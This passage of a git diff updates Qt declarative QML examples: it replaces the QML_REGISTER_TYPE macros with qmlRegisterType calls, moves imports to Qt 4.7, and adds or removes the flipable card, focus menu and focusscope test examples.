+    qmlRegisterType<Person>("People", 1,0, "Person");
 
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine, ":example.qml");
diff --git a/examples/declarative/extending/attached/main.cpp b/examples/declarative/extending/attached/main.cpp
index 684d8d3..fd2d525 100644
--- a/examples/declarative/extending/attached/main.cpp
+++ b/examples/declarative/extending/attached/main.cpp
@@ -49,12 +49,12 @@ int main(int argc, char ** argv)
 {
     QCoreApplication app(argc, argv);
 
-    QML_REGISTER_NOCREATE_TYPE(BirthdayPartyAttached);
-    QML_REGISTER_TYPE(People, 1,0, BirthdayParty, BirthdayParty);
-    QML_REGISTER_NOCREATE_TYPE(ShoeDescription);
-    QML_REGISTER_NOCREATE_TYPE(Person);
-    QML_REGISTER_TYPE(People, 1,0, Boy, Boy);
-    QML_REGISTER_TYPE(People, 1,0, Girl, Girl);
+    qmlRegisterType<BirthdayPartyAttached>();
+    qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+    qmlRegisterType<ShoeDescription>();
+    qmlRegisterType<Person>();
+    qmlRegisterType<Boy>("People", 1,0, "Boy");
+    qmlRegisterType<Girl>("People", 1,0, "Girl");
 
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine, ":example.qml");
diff --git a/examples/declarative/extending/attached/person.h b/examples/declarative/extending/attached/person.h
index 0f86d8b..08caebf 100644
--- a/examples/declarative/extending/attached/person.h
+++ b/examples/declarative/extending/attached/person.h
@@ -76,7 +76,7 @@ QML_DECLARE_TYPE(ShoeDescription);
 class Person : public QObject {
 Q_OBJECT
 Q_PROPERTY(QString name READ name WRITE setName)
-Q_PROPERTY(ShoeDescription *shoe READ shoe);
+Q_PROPERTY(ShoeDescription *shoe READ shoe)
 public:
     Person(QObject *parent = 0);
 
diff --git a/examples/declarative/extending/binding/main.cpp b/examples/declarative/extending/binding/main.cpp
index 873f8c9..ce6c50d 100644
--- a/examples/declarative/extending/binding/main.cpp
+++ b/examples/declarative/extending/binding/main.cpp
@@ -49,14 +49,13 @@
 int main(int argc, char ** argv)
 {
     QCoreApplication app(argc, argv);
-
-    QML_REGISTER_NOCREATE_TYPE(BirthdayPartyAttached);
-    QML_REGISTER_TYPE(People, 1,0, BirthdayParty, BirthdayParty);
-    QML_REGISTER_TYPE(People, 1,0, HappyBirthday, HappyBirthday);
-    QML_REGISTER_NOCREATE_TYPE(ShoeDescription);
-    QML_REGISTER_NOCREATE_TYPE(Person);
-    QML_REGISTER_TYPE(People, 1,0, Boy, Boy);
-    QML_REGISTER_TYPE(People, 1,0, Girl, Girl);
+    qmlRegisterType<BirthdayPartyAttached>();
+    qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+    qmlRegisterType<HappyBirthday>("People", 1,0, "HappyBirthday");
+    qmlRegisterType<ShoeDescription>();
+    qmlRegisterType<Person>();
+    qmlRegisterType<Boy>("People", 1,0, "Boy");
+    qmlRegisterType<Girl>("People", 1,0, "Girl");
 
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine, ":example.qml");
diff --git a/examples/declarative/extending/binding/person.h b/examples/declarative/extending/binding/person.h
index 1bec71c..2d4ec12 100644
--- a/examples/declarative/extending/binding/person.h
+++ b/examples/declarative/extending/binding/person.h
@@ -80,7 +80,7 @@ class Person : public QObject {
 Q_OBJECT
 Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
 // ![0]
-Q_PROPERTY(ShoeDescription *shoe READ shoe CONSTANT);
+Q_PROPERTY(ShoeDescription *shoe READ shoe CONSTANT)
 // ![0]
 public:
     Person(QObject *parent = 0);
diff --git a/examples/declarative/extending/coercion/main.cpp b/examples/declarative/extending/coercion/main.cpp
index 1e2209f..312aff9 100644
--- a/examples/declarative/extending/coercion/main.cpp
+++ b/examples/declarative/extending/coercion/main.cpp
@@ -49,12 +49,12 @@ int main(int argc, char ** argv)
 {
     QCoreApplication app(argc, argv);
 
-    QML_REGISTER_TYPE(People, 1,0, BirthdayParty, BirthdayParty);
+    qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
 // ![0]
-    QML_REGISTER_NOCREATE_TYPE(Person);
+    qmlRegisterType<Person>();
 // ![0]
-    QML_REGISTER_TYPE(People, 1,0, Boy, Boy);
-    QML_REGISTER_TYPE(People, 1,0, Girl, Girl);
+    qmlRegisterType<Boy>("People", 1,0, "Boy");
+    qmlRegisterType<Girl>("People", 1,0, "Girl");
 
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine, ":example.qml");
diff --git a/examples/declarative/extending/default/main.cpp b/examples/declarative/extending/default/main.cpp
index 7d7f8a1..06282ad 100644
--- a/examples/declarative/extending/default/main.cpp
+++ b/examples/declarative/extending/default/main.cpp
@@ -49,10 +49,10 @@ int main(int argc, char ** argv)
 {
     QCoreApplication app(argc, argv);
 
-    QML_REGISTER_TYPE(People, 1,0, BirthdayParty, BirthdayParty);
-    QML_REGISTER_NOCREATE_TYPE(Person);
-    QML_REGISTER_TYPE(People, 1,0, Boy, Boy);
-    QML_REGISTER_TYPE(People, 1,0, Girl, Girl);
+    qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+    qmlRegisterType<Person>();
+    qmlRegisterType<Boy>("People", 1,0, "Boy");
+    qmlRegisterType<Girl>("People", 1,0, "Girl");
 
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine, ":example.qml");
diff --git a/examples/declarative/extending/extended/lineedit.h b/examples/declarative/extending/extended/lineedit.h
index ca96d05..9730b91 100644
--- a/examples/declarative/extending/extended/lineedit.h
+++ b/examples/declarative/extending/extended/lineedit.h
@@ -46,10 +46,10 @@
 class LineEditExtension : public QObject
 {
 Q_OBJECT
-Q_PROPERTY(int leftMargin READ leftMargin WRITE setLeftMargin NOTIFY marginsChanged);
-Q_PROPERTY(int rightMargin READ rightMargin WRITE setRightMargin NOTIFY marginsChanged);
-Q_PROPERTY(int topMargin READ topMargin WRITE setTopMargin NOTIFY marginsChanged);
-Q_PROPERTY(int bottomMargin READ bottomMargin WRITE setBottomMargin NOTIFY marginsChanged);
+Q_PROPERTY(int leftMargin READ leftMargin WRITE setLeftMargin NOTIFY marginsChanged)
+Q_PROPERTY(int rightMargin READ rightMargin WRITE setRightMargin NOTIFY marginsChanged)
+Q_PROPERTY(int topMargin READ topMargin WRITE setTopMargin NOTIFY marginsChanged)
+Q_PROPERTY(int bottomMargin READ bottomMargin WRITE setBottomMargin NOTIFY marginsChanged)
 public:
     LineEditExtension(QObject *);
 
diff --git a/examples/declarative/extending/extended/main.cpp b/examples/declarative/extending/extended/main.cpp
index 5cbeea3..ca7242d 100644
--- a/examples/declarative/extending/extended/main.cpp
+++ b/examples/declarative/extending/extended/main.cpp
@@ -49,7 +49,7 @@ int main(int argc, char ** argv)
 {
     QApplication app(argc, argv);
 
-    QML_REGISTER_EXTENDED_TYPE(People, 1,0, QLineEdit, QLineEdit, LineEditExtension);
+    qmlRegisterExtendedType<QLineEdit, LineEditExtension>("People", 1,0, "QLineEdit");
 
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine, ":example.qml");
diff --git a/examples/declarative/extending/grouped/main.cpp b/examples/declarative/extending/grouped/main.cpp
index 15a0bb5..b383a8b 100644
--- a/examples/declarative/extending/grouped/main.cpp
+++ b/examples/declarative/extending/grouped/main.cpp
@@ -49,11 +49,11 @@ int main(int argc, char ** argv)
 {
     QCoreApplication app(argc, argv);
 
-    QML_REGISTER_TYPE(People, 1,0, BirthdayParty, BirthdayParty);
-    QML_REGISTER_NOCREATE_TYPE(ShoeDescription);
-    QML_REGISTER_NOCREATE_TYPE(Person);
-    QML_REGISTER_TYPE(People, 1,0, Boy, Boy);
-    QML_REGISTER_TYPE(People, 1,0, Girl, Girl);
+    qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+    qmlRegisterType<ShoeDescription>();
+    qmlRegisterType<Person>();
+    qmlRegisterType<Boy>("People", 1,0, "Boy");
+    qmlRegisterType<Girl>("People", 1,0, "Girl");
 
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine, ":example.qml");
diff --git a/examples/declarative/extending/grouped/person.h b/examples/declarative/extending/grouped/person.h
index 5dab378..5ea2348 100644
--- a/examples/declarative/extending/grouped/person.h
+++ b/examples/declarative/extending/grouped/person.h
@@ -77,7 +77,7 @@ class Person : public QObject {
 Q_OBJECT
 Q_PROPERTY(QString name READ name WRITE setName)
 // ![1]
-Q_PROPERTY(ShoeDescription *shoe READ shoe);
+Q_PROPERTY(ShoeDescription *shoe READ shoe)
 // ![1]
 public:
     Person(QObject *parent = 0);
diff --git a/examples/declarative/extending/properties/main.cpp b/examples/declarative/extending/properties/main.cpp
index ce69ad2..350f8bd 100644
--- a/examples/declarative/extending/properties/main.cpp
+++ b/examples/declarative/extending/properties/main.cpp
@@ -49,8 +49,8 @@ int main(int argc, char ** argv)
 {
     QCoreApplication app(argc, argv);
 
-    QML_REGISTER_TYPE(People, 1,0, BirthdayParty, BirthdayParty);
-    QML_REGISTER_TYPE(People, 1,0, Person, Person);
+    qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+    qmlRegisterType<Person>("People", 1,0, "Person");
 
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine, ":example.qml");
diff --git a/examples/declarative/extending/signal/main.cpp b/examples/declarative/extending/signal/main.cpp
index afc1a66..1b23a46 100644
--- a/examples/declarative/extending/signal/main.cpp
+++ b/examples/declarative/extending/signal/main.cpp
@@ -49,12 +49,12 @@ int main(int argc, char ** argv)
 {
     QCoreApplication app(argc, argv);
 
-    QML_REGISTER_NOCREATE_TYPE(BirthdayPartyAttached);
-    QML_REGISTER_TYPE(People, 1,0, BirthdayParty, BirthdayParty);
-    QML_REGISTER_NOCREATE_TYPE(ShoeDescription);
-    QML_REGISTER_NOCREATE_TYPE(Person);
-    QML_REGISTER_TYPE(People, 1,0, Boy, Boy);
-    QML_REGISTER_TYPE(People, 1,0, Girl, Girl);
+    qmlRegisterType<BirthdayPartyAttached>();
+    qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+    qmlRegisterType<ShoeDescription>();
+    qmlRegisterType<Person>();
+    qmlRegisterType<Boy>("People", 1,0, "Boy");
+    qmlRegisterType<Girl>("People", 1,0, "Girl");
 
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine, ":example.qml");
diff --git a/examples/declarative/extending/signal/person.h b/examples/declarative/extending/signal/person.h
index 0f86d8b..08caebf 100644
--- a/examples/declarative/extending/signal/person.h
+++ b/examples/declarative/extending/signal/person.h
@@ -76,7 +76,7 @@ QML_DECLARE_TYPE(ShoeDescription);
 class Person : public QObject {
 Q_OBJECT
 Q_PROPERTY(QString name READ name WRITE setName)
-Q_PROPERTY(ShoeDescription *shoe READ shoe);
+Q_PROPERTY(ShoeDescription *shoe READ shoe)
 public:
     Person(QObject *parent = 0);
 
diff --git a/examples/declarative/extending/valuesource/main.cpp b/examples/declarative/extending/valuesource/main.cpp
index 873f8c9..2574917 100644
--- a/examples/declarative/extending/valuesource/main.cpp
+++ b/examples/declarative/extending/valuesource/main.cpp
@@ -50,13 +50,13 @@ int main(int argc, char ** argv)
 {
     QCoreApplication app(argc, argv);
 
-    QML_REGISTER_NOCREATE_TYPE(BirthdayPartyAttached);
-    QML_REGISTER_TYPE(People, 1,0, BirthdayParty, BirthdayParty);
-    QML_REGISTER_TYPE(People, 1,0, HappyBirthday, HappyBirthday);
-    QML_REGISTER_NOCREATE_TYPE(ShoeDescription);
-    QML_REGISTER_NOCREATE_TYPE(Person);
-    QML_REGISTER_TYPE(People, 1,0, Boy, Boy);
-    QML_REGISTER_TYPE(People, 1,0, Girl, Girl);
+    qmlRegisterType<BirthdayPartyAttached>();
+    qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+    qmlRegisterType<HappyBirthday>("People", 1,0, "HappyBirthday");
+    qmlRegisterType<ShoeDescription>();
+    qmlRegisterType<Person>();
+    qmlRegisterType<Boy>("People", 1,0, "Boy");
+    qmlRegisterType<Girl>("People", 1,0, "Girl");
 
     QDeclarativeEngine engine;
     QDeclarativeComponent component(&engine, ":example.qml");
diff --git a/examples/declarative/extending/valuesource/person.h b/examples/declarative/extending/valuesource/person.h
index 0f86d8b..08caebf 100644
--- a/examples/declarative/extending/valuesource/person.h
+++ b/examples/declarative/extending/valuesource/person.h
@@ -76,7 +76,7 @@ QML_DECLARE_TYPE(ShoeDescription);
 class Person : public QObject {
 Q_OBJECT
 Q_PROPERTY(QString name READ name WRITE setName)
-Q_PROPERTY(ShoeDescription *shoe READ shoe);
+Q_PROPERTY(ShoeDescription *shoe READ shoe)
 public:
     Person(QObject *parent = 0);
 
diff --git a/examples/declarative/fillmode/fillmode.qml b/examples/declarative/fillmode/fillmode.qml
index ab0f81c..e47fc9b 100644
--- a/examples/declarative/fillmode/fillmode.qml
+++ b/examples/declarative/fillmode/fillmode.qml
@@ -1,11 +1,12 @@
-import Qt 4.6
+import Qt 4.7
 
 Image {
     width: 400
     height: 250
     source: "face.png"
+
     SequentialAnimation on fillMode {
-        repeat: true
+        loops: Animation.Infinite
         PropertyAction { value: Image.Stretch }
         PropertyAction { target: label; property: "text"; value: "Stretch" }
         PauseAnimation { duration: 1000 }
@@ -25,17 +26,19 @@ Image {
         PropertyAction { target: label; property: "text"; value: "TileVertically" }
         PauseAnimation { duration: 1000 }
     }
+
     Text {
         id: label
         font.pointSize: 24
         color: "blue"
         style: Text.Outline
         styleColor: "white"
-        anchors { centerIn: parent }
+        anchors.centerIn: parent
     }
+
     Rectangle {
         border.color: "black"
         color: "transparent"
-        anchors { fill: parent; rightMargin: 1; bottomMargin: 1}
+        anchors { fill: parent; rightMargin: 1; bottomMargin: 1 }
     }
 }
diff --git a/examples/declarative/flipable/back.png b/examples/declarative/flipable/back.png
deleted file mode 100644
index 0b4cafc..0000000
--- a/examples/declarative/flipable/back.png
+++ /dev/null
diff --git a/examples/declarative/flipable/content/5_heart.png b/examples/declarative/flipable/content/5_heart.png
new file mode 100644
index 0000000..fb59d81
--- /dev/null
+++ b/examples/declarative/flipable/content/5_heart.png
diff --git a/examples/declarative/flipable/content/9_club.png b/examples/declarative/flipable/content/9_club.png
new file mode 100644
index 0000000..2545001
--- /dev/null
+++ b/examples/declarative/flipable/content/9_club.png
diff --git a/examples/declarative/flipable/content/Card.qml b/examples/declarative/flipable/content/Card.qml
new file mode 100644
index 0000000..2577d89
--- /dev/null
+++ b/examples/declarative/flipable/content/Card.qml
@@ -0,0 +1,38 @@
+import Qt 4.7
+
+Flipable {
+    id: container
+
+    property alias image: frontImage.source
+    property bool flipped: true
+    property int xAxis: 0
+    property int yAxis: 0
+    property int angle: 0
+
+    width: front.width; height: front.height; state: "back"
+
+    front: Image { id: frontImage; smooth: true }
+    back: Image { source: "back.png"; smooth: true }
+
+    MouseArea { anchors.fill: parent; onClicked: container.flipped = !container.flipped }
+
+    transform: Rotation {
+        id: rotation; origin.x: container.width / 2; origin.y: container.height / 2
+        axis.x: container.xAxis; axis.y: container.yAxis; axis.z: 0
+    }
+
+    states: State {
+        name: "back"; when: container.flipped
+        PropertyChanges { target: rotation; angle: container.angle }
+    }
+
+    transitions: Transition {
+        ParallelAnimation {
+            NumberAnimation { target: rotation; properties: "angle"; duration: 600 }
+            SequentialAnimation {
+                NumberAnimation { target: container; property: "scale"; to: 0.75; duration: 300 }
+                NumberAnimation { target: container; property: "scale"; to: 1.0; duration: 300 }
+            }
+        }
+    }
+}
diff --git a/examples/declarative/flipable/content/back.png b/examples/declarative/flipable/content/back.png
new file mode 100644
index 0000000..f715d74
--- /dev/null
+++ b/examples/declarative/flipable/content/back.png
diff --git a/examples/declarative/flipable/flipable-example.qml b/examples/declarative/flipable/flipable-example.qml
new file mode 100644
index 0000000..4e09569
--- /dev/null
+++ b/examples/declarative/flipable/flipable-example.qml
@@ -0,0 +1,15 @@
+import Qt 4.7
+import "content"
+
+Rectangle {
+    id: window
+    
+    width: 480; height: 320
+    color: "darkgreen"
+
+    Row {
+        anchors.centerIn: parent; spacing: 30
+        Card { image: "content/9_club.png"; angle: 180; yAxis: 1 }
+        Card { image: "content/5_heart.png"; angle: 540; xAxis: 1 }
+    }
+}
diff --git a/examples/declarative/flipable/flipable.qml b/examples/declarative/flipable/flipable.qml
deleted file mode 100644
index c837ebc..0000000
--- a/examples/declarative/flipable/flipable.qml
+++ /dev/null
@@ -1,37 +0,0 @@
-//! [0]
-import Qt 4.6
-
-Flipable {
-    id: flipable
-    width: 240
-    height: 240
-
-    property int angle: 0
-    property bool flipped: false
-
-    front: Image { source: "front.png" }
-    back: Image { source: "back.png" }
-
-    transform: Rotation {
-        origin.x: flipable.width/2; origin.y: flipable.height/2
-        axis.x: 0; axis.y: 1; axis.z: 0     // rotate around y-axis
-        angle: flipable.angle
-    }
-
-    states: State {
-        name: "back"
-        PropertyChanges { target: flipable; angle: 180 }
-        when: flipable.flipped
-    }
-
-    transitions: Transition {
-        NumberAnimation { properties: "angle"; duration: 1000 }
-    }
-
-    MouseArea {
-        anchors.fill: parent
-        onClicked: flipable.flipped = !flipable.flipped
-    }
-}
-//! [0]
-
diff --git a/examples/declarative/flipable/front.png b/examples/declarative/flipable/front.png
deleted file mode 100644
index 796b605..0000000
--- a/examples/declarative/flipable/front.png
+++ /dev/null
diff --git a/examples/declarative/focus/Core/ContextMenu.qml b/examples/declarative/focus/Core/ContextMenu.qml
new file mode 100644
index 0000000..49a54bc
--- /dev/null
+++ b/examples/declarative/focus/Core/ContextMenu.qml
@@ -0,0 +1,18 @@
+import Qt 4.7
+
+FocusScope {
+    id: container
+
+    property bool open: false
+
+    Item {
+        anchors.fill: parent
+
+        Rectangle {
+            anchors.fill: parent
+            color: "#D1DBBD"
+            focus: true
+            Keys.onRightPressed: mainView.focus = true
+        }
+    }
+}
diff --git a/examples/declarative/focus/Core/GridMenu.qml b/examples/declarative/focus/Core/GridMenu.qml
new file mode 100644
index 0000000..c37b17a
--- /dev/null
+++ b/examples/declarative/focus/Core/GridMenu.qml
@@ -0,0 +1,63 @@
+import Qt 4.7
+
+FocusScope {
+    property alias interactive: gridView.interactive
+
+    onWantsFocusChanged: if (wantsFocus) mainView.state = ""
+
+    Rectangle {
+        anchors.fill: parent
+        clip: true
+        gradient: Gradient {
+            GradientStop { position: 0.0; color: "#193441" }
+            GradientStop { position: 1.0; color: Qt.darker("#193441") }
+        }
+
+        GridView {
+            id: gridView
+            x: 20; width: parent.width - 40; height: parent.height
+            cellWidth: 152; cellHeight: 152
+            focus: true
+            model: 12
+            KeyNavigation.down: listViews
+            KeyNavigation.left: contextMenu
+
+            delegate: Item {
+                id: container
+                width: GridView.view.cellWidth; height: GridView.view.cellHeight
+
+                Rectangle {
+                    id: content
+                    color: "transparent"
+                    smooth: true
+                    anchors.centerIn: parent; width: container.width - 40; height: container.height - 40; radius: 10
+
+                    Rectangle { color: "#91AA9D"; x: 3; y: 3; width: parent.width - 6; height: parent.height - 6; radius: 8 }
+                    Image { source: "images/qt-logo.png"; anchors.centerIn: parent; smooth: true }
+                }
+
+                MouseArea {
+                    id: mouseArea
+                    anchors.fill: parent
+                    hoverEnabled: true
+
+                    onClicked: {
+                        GridView.view.currentIndex = index
+                        container.focus = true
+                        gridMenu.focus = true
+                        mainView.focus = true
+                    }
+                }
+
+                states: State {
+                    name: "active"; when: container.focus == true
+                    PropertyChanges { target: content; color: "#FCFFF5"; scale: 1.1 }
+                }
+
+                transitions: Transition {
+                    NumberAnimation { properties: "scale"; duration: 100 }
+                }
+            }
+        }
+    }
+}
diff --git a/examples/declarative/focus/Core/ListViewDelegate.qml b/examples/declarative/focus/Core/ListViewDelegate.qml
new file mode 100644
index 0000000..96324d7
--- /dev/null
+++ b/examples/declarative/focus/Core/ListViewDelegate.qml
@@ -0,0 +1,45 @@
+import Qt 4.7
+
+Component {
+    Item {
+        id: container
+        x: 5; width: ListView.view.width - 10; height: 60
+
+        Rectangle {
+            id: content
+            anchors.centerIn: parent; width: container.width - 40; height: container.height - 10
+            color: "transparent"
+            smooth: true
+            radius: 10
+
+            Rectangle { color: "#91AA9D"; x: 3; y: 3; width: parent.width - 6; height: parent.height - 6; radius: 8 }
+            Text {
+                text: "List element " + (index + 1); color: "#193441"; font.bold: false; anchors.centerIn: parent
+                font.pixelSize: 14
+            }
+        }
+
+        MouseArea {
+            id: mouseArea
+            anchors.fill: parent
+            hoverEnabled: true
+
+            onClicked: {
+                ListView.view.currentIndex = index
+                container.focus = true
+                ListView.view.focus = true
+                listViews.focus = true
+                mainView.focus = true
+            }
+        }
+
+        states: State {
+            name: "active"; when: container.focus == true
+            PropertyChanges { target: content; color: "#FCFFF5"; scale: 1.1 }
+        }
+
+        transitions: Transition {
+            NumberAnimation { properties: "scale"; duration: 100 }
+        }
+    }
+}
diff --git a/examples/declarative/focus/Core/ListViews.qml b/examples/declarative/focus/Core/ListViews.qml
new file mode 100644
index 0000000..f4384c8
--- /dev/null
+++ b/examples/declarative/focus/Core/ListViews.qml
@@ -0,0 +1,62 @@
+import Qt 4.7
+
+FocusScope {
+    clip: true
+
+    onWantsFocusChanged: if (wantsFocus) mainView.state = "showListViews"
+
+    ListView {
+        id: list1
+        y: wantsFocus ? 10 : 40; width: parent.width / 3; height: parent.height - 20
+        focus: true
+        KeyNavigation.up: gridMenu; KeyNavigation.left: contextMenu; KeyNavigation.right: list2
+        model: 10
+        delegate: ListViewDelegate {}
+
+        Behavior on y {
+            NumberAnimation { duration: 600; easing.type: "OutQuint" }
+        }
+    }
+
+    ListView {
+        id: list2
+        y: wantsFocus ? 10 : 40; x: parent.width / 3; width: parent.width / 3; height: parent.height - 20
+        KeyNavigation.up: gridMenu; KeyNavigation.left: list1; KeyNavigation.right: list3
+        model: 10
+        delegate: ListViewDelegate {}
+
+        Behavior on y {
+            NumberAnimation { duration: 600; easing.type: "OutQuint" }
+        }
+    }
+
+    ListView {
+        id: list3
+        y: wantsFocus ? 10 : 40; x: 2 * parent.width / 3; width: parent.width / 3; height: parent.height - 20
+        KeyNavigation.up: gridMenu; KeyNavigation.left: list2
+        model: 10
+        delegate: ListViewDelegate {}
+
+        Behavior on y {
+            NumberAnimation { duration: 600; easing.type: "OutQuint" }
+        }
+    }
+
+    Rectangle { width: parent.width; height: 1; color: "#D1DBBD" }
+
+    Rectangle {
+        y: 1; width: parent.width; height: 10
+        gradient: Gradient {
+            GradientStop { position: 0.0; color: "#3E606F" }
+            GradientStop { position: 1.0; color: "transparent" }
+        }
+    }
+
+    Rectangle {
+        y: parent.height - 10; width: parent.width; height: 10
+        gradient: Gradient {
+            GradientStop { position: 1.0; color: "#3E606F" }
+            GradientStop { position: 0.0; color: "transparent" }
+        }
+    }
+}
diff --git a/examples/declarative/focus/Core/images/arrow.png b/examples/declarative/focus/Core/images/arrow.png
new file mode 100644
index 0000000..14978c2
--- /dev/null
+++ b/examples/declarative/focus/Core/images/arrow.png
diff --git a/examples/declarative/focus/Core/images/qt-logo.png b/examples/declarative/focus/Core/images/qt-logo.png
new file mode 100644
index 0000000..14ddf2a
--- /dev/null
+++ b/examples/declarative/focus/Core/images/qt-logo.png
diff --git a/examples/declarative/focus/Core/qmldir b/examples/declarative/focus/Core/qmldir
new file mode 100644
index 0000000..e25d63c
--- /dev/null
+++ b/examples/declarative/focus/Core/qmldir
@@ -0,0 +1,4 @@
+ContextMenu ContextMenu.qml
+GridMenu GridMenu.qml
+ListViews ListViews.qml
+ListViewDelegate ListViewDelegate.qml
diff --git a/examples/declarative/focus/focus.qml b/examples/declarative/focus/focus.qml
new file mode 100644
index 0000000..22b0e50
--- /dev/null
+++ b/examples/declarative/focus/focus.qml
@@ -0,0 +1,69 @@
+import Qt 4.7
+import "Core"
+
+Rectangle {
+    id: window
+    
+    width: 800; height: 480
+    color: "#3E606F"
+
+    FocusScope {
+        id: mainView
+
+        width: parent.width; height: parent.height
+        focus: true
+
+        GridMenu {
+            id: gridMenu
+
+            width: parent.width; height: 320
+            focus: true
+            interactive: parent.wantsFocus
+        }
+
+        ListViews {
+            id: listViews
+            y: 320; width: parent.width; height: 320
+        }
+
+        Rectangle { 
+            id: shade
+            color: "black"; opacity: 0; anchors.fill: parent
+        }
+
+        states: State {
+            name: "showListViews"
+            PropertyChanges { target: gridMenu; y: -160 }
+            PropertyChanges { target: listViews; y: 160 }
+        }
+
+        transitions: Transition {
+            NumberAnimation { properties: "y"; duration: 600; easing.type: "OutQuint" }
+        }
+    }
+
+    Image {
+        source: "Core/images/arrow.png"
+        rotation: 90
+        anchors.verticalCenter: parent.verticalCenter
+
+        MouseArea {
+            anchors { fill: parent; leftMargin: -10; topMargin: -10; rightMargin: -10; bottomMargin: -10 }
+            onClicked: window.state = "contextMenuOpen"
+        }
+    }
+
+    ContextMenu { id: contextMenu; x: -265; width: 260; height: parent.height }
+
+    states: State {
+        name: "contextMenuOpen"
+        when: !mainView.wantsFocus
+        PropertyChanges { target: contextMenu; x: 0; open: true }
+        PropertyChanges { target: mainView; x: 130 }
+        PropertyChanges { target: shade; opacity: 0.25 }
+    }
+
+    transitions: Transition {
+        NumberAnimation { properties: "x,opacity"; duration: 600; easing.type: "OutQuint" }
+    }
+}
diff --git a/examples/declarative/focusscope/test.qml b/examples/declarative/focusscope/test.qml
deleted file mode 100644
index e4332e7..0000000
--- a/examples/declarative/focusscope/test.qml
+++ /dev/null
@@ -1,76 +0,0 @@
-import Qt 4.6
-
-Rectangle {
-    color: "white"
-    width: 800
-    height: 600
-
-    Keys.onDigit9Pressed: console.log("Error - Root")
-
-    FocusScope {
-        id: myScope
-        focus: true
-
-        Keys.onDigit9Pressed: console.log("Error - FocusScope")
-
-        Rectangle {
-            height: 120
-            width: 420
-
-            color: "transparent"
-            border.width: 5
-            border.color: myScope.wantsFocus?"blue":"black"
-
-            Rectangle {
-                id: item1
-                x: 10; y: 10
-                width: 100; height: 100; color: "green"
-                border.width: 5
-                border.color: wantsFocus?"blue":"black"
-                Keys.onDigit9Pressed: console.log("Top Left");
-                KeyNavigation.right: item2
-                focus: true
-
-                Rectangle {
-                    width: 50; height: 50; anchors.centerIn: parent
-                    color: parent.focus?"red":"transparent"
-                }
-            }
-
-            Rectangle {
-                id: item2
-                x: 310; y: 10
-                width: 100; height: 100; color: "green"
-                border.width: 5
-                border.color: wantsFocus?"blue":"black"
-                KeyNavigation.left: item1
-                Keys.onDigit9Pressed: console.log("Top Right");
-
-                Rectangle {
-                    width: 50; height: 50; anchors.centerIn: parent
-                    color: parent.focus?"red":"transparent"
-                }
-            }
-        }
-        KeyNavigation.down: item3
-    }
-
-    Text { x:100; y:170; text: "Blue border indicates scoped focus\nBlack border indicates NOT scoped focus\nRed box indicates active focus\nUse arrow keys to navigate\nPress \"9\" to print currently focused item" }
-
-    Rectangle {
-        id: item3
-        x: 10; y: 300
-        width: 100; height: 100; color: "green"
-        border.width: 5
-        border.color: wantsFocus?"blue":"black"
-
-        Keys.onDigit9Pressed: console.log("Bottom Left");
-        KeyNavigation.up: myScope
-
-        Rectangle {
-            width: 50; height: 50; anchors.centerIn: parent
-            color: parent.focus?"red":"transparent"
-        }
-    }
-
-}
diff --git a/examples/declarative/focusscope/test2.qml b/examples/declarative/focusscope/test2.qml
deleted file mode 100644
index 5b6971a..0000000
--- a/examples/declarative/focusscope/test2.qml
+++ /dev/null
@@ -1,40 +0,0 @@
-import Qt 4.6
-
-Rectangle {
-    color: "white"
-    width: 800
-    height: 600
-
-    Text { text: "All five rectangles should be red" }
-
-    FocusScope {
-        y: 100
-        focus: true
-        Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" }
-
-        FocusScope {
-            y: 100
-            focus: true
-            Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" }
-
-            FocusScope {
-                y: 100
-                focus: true
-                Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" }
-
-                FocusScope {
-                    y: 100
-                    focus: true
-                    Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" }
-
-                    FocusScope {
-                        y: 100
-                        focus: true
-                        Rectangle { width: 50; height: 50; color: parent.wantsFocus?"red":"blue" }
-                    }
-                }
-            }
-        }
-    }
-
-}
diff --git a/examples/declarative/focusscope/test4.qml b/examples/declarative/focusscope/test4.qml
deleted file mode 100644
index cc96df9..0000000
--- a/examples/declarative/focusscope/test4.qml
+++ /dev/null
@@ -1,75 +0,0 @@
-import Qt 4.6
-
-Rectangle {
-    color: "white"
-    width: 800
-    height: 600
-
-    Keys.onDigit9Pressed: console.log("Error - Root")
-
-    FocusScope {
-        id: myScope
-
-        Keys.onDigit9Pressed: console.log("Error - FocusScope")
-
-        Rectangle {
-            height: 120
-            width: 420
-
-            color: "transparent"
-            border.width: 5
-            border.color: myScope.wantsFocus?"blue":"black"
-
-            Rectangle {
-                id: item1
-                x: 10; y: 10
-                width: 100; height: 100; color: "green"
-                border.width: 5
-                border.color: wantsFocus?"blue":"black"
-                Keys.onDigit9Pressed: console.log("Error - Top Left");
-                KeyNavigation.right: item2
-                focus: true
-
-                Rectangle {
-                    width: 50; height: 50; anchors.centerIn: parent
-                    color: parent.focus?"red":"transparent"
-                }
-            }
-
-            Rectangle {
-                id: item2
-                x: 310; y: 10
-                width: 100; height: 100; color: "green"
-                border.width: 5
-                border.color: wantsFocus?"blue":"black"
-                KeyNavigation.left: item1
-                Keys.onDigit9Pressed: console.log("Error - Top Right");
-
-                Rectangle {
-                    width: 50; height: 50; anchors.centerIn: parent
-                    color: parent.focus?"red":"transparent"
-                }
-            }
-        }
-        KeyNavigation.down: item3
-    }
-
